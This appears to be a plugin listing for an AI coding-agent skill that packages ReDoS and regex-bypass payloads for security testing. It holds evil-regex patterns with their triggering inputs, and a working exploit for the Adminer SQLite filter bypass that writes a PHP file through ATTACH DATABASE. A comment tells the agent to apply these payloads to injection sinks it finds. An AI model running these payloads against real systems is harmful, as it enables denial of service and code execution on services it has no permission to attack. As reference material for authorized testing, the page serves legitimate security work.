/rea-skills:payloads-regexfrom rea-skills
Provides ReDoS attack payloads and regex exploitation techniques for security testing. Includes tools like redos-detector and regexploit for identifying vulnerable patterns.
Ships in rea-skills. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Source: PayloadsAllTheThings/Regular Expression Category:
payloads-research| Skill ID:payloads-regex
Regular expression exploitation payloads for ReDoS, catastrophic backtracking, and filter bypass.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the ReDoS & Regex Attack Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
Regular Expression Denial of Service (ReDoS) is a type of attack that exploits the fact that certain regular expressions can take an extremely long time to process, causing applications or services to become unresponsive or crash.
Evil Regex contains:
Examples:
(a+)+([a-zA-Z]+)*(a|aa)+(a|a?)+(.*a){x} for x > 10These regular expressions can be exploited with aaaaaaaaaaaaaaaaaaaaaaaa! (20 'a's followed by a '!').
aaaaaaaaaaaaaaaaaaaa!
For this input, the regex engine will try all possible ways to group the a characters before realizing that the match ultimately fails because of the !. This results in an explosion of backtracking attempts.
Backtracking in regular expressions occurs when the regex engine tries to match a pattern and encounters a mismatch. The engine then backtracks to the previous matching position and tries an alternative path to find a match. This process can be repeated many times, especially with complex patterns and large input strings.
PHP PCRE configuration options:
| Name | Default | Note |
|---|---|---|
| pcre.backtrack_limit | 1000000 | 100000 for PHP < 5.3.7 |
| pcre.recursion_limit | 100000 | / |
| pcre.jit | 1 | / |
Sometimes it is possible to force the regex to exceed more than 100 000 recursions which will cause a ReDOS and make preg_match returning false:
$pattern = '/(a+)+$/';
$subject = str_repeat('a', 1000) . 'b';
if (preg_match($pattern, $subject)) {
echo "Match found";
} else {
echo "No match";
}
Real-Word case: Adminer SQLite RCE:
Adminer used a regular expression to prevent SQLite queries beginning with ATTACH:
$pattern = "~^(?:\\s|/\\*[\s\S]*?\\*/|(?:#|--)[^\n]*\n?|--\r?\n)*+ATTACH\\b~i";
if(preg_match($pattern, $query, $match)){
die('error');
}
The check treated both 0 (no match) and false (regular expression evaluation failure) as an allowed query. An attacker could prefix an ATTACH query with hundreds of thousands of empty SQL comments:
<?php
$payload = <<<'SQL'
ATTACH DATABASE 'lol.php' AS lol;
CREATE TABLE lol.pwn (data text);
INSERT INTO lol.pwn (data) VALUES ('<?php phpinfo(); ?>');
SQL;
echo str_repeat("--\n", 350000) . $payload;
Processing the comments exhausted PHP PCRE's backtracking limit. preg_match() returned false, which the application confused with a clean non-match. The blocked ATTACH query was consequently executed.
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.
⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
What SKILL.md sets; muted values are Claude Code's defaults
Three short reads, in order
npx claudepluginhub smartworldarafath/rea_skill --plugin rea-skills919 skills in this plugin
/accessibilityDesign, implement, and audit accessible UI to WCAG 2.2 Level AA across Web, iOS, and Android — semantic ARIA roles and labels, accessibility traits and hints, focus management, contrast, target size, and screen-reader support. Use when building or auditing UI for accessibility compliance, keyboard navigation, or screen-reader support./agent-architecture-auditFull-stack diagnostic for agent and LLM applications. Audits the 12-layer agent stack for wrapper regression, memory pollution, tool discipline failures, hidden repair loops, and rendering corruption. Produces severity-ranked findings with code-first fixes. Essential for developers building agent applications, autonomous loops, or any LLM-powered feature. Use when an agent or LLM feature misbehaves and the failing layer is unknown, or before shipping an agent stack./Other plugins' skills for the same job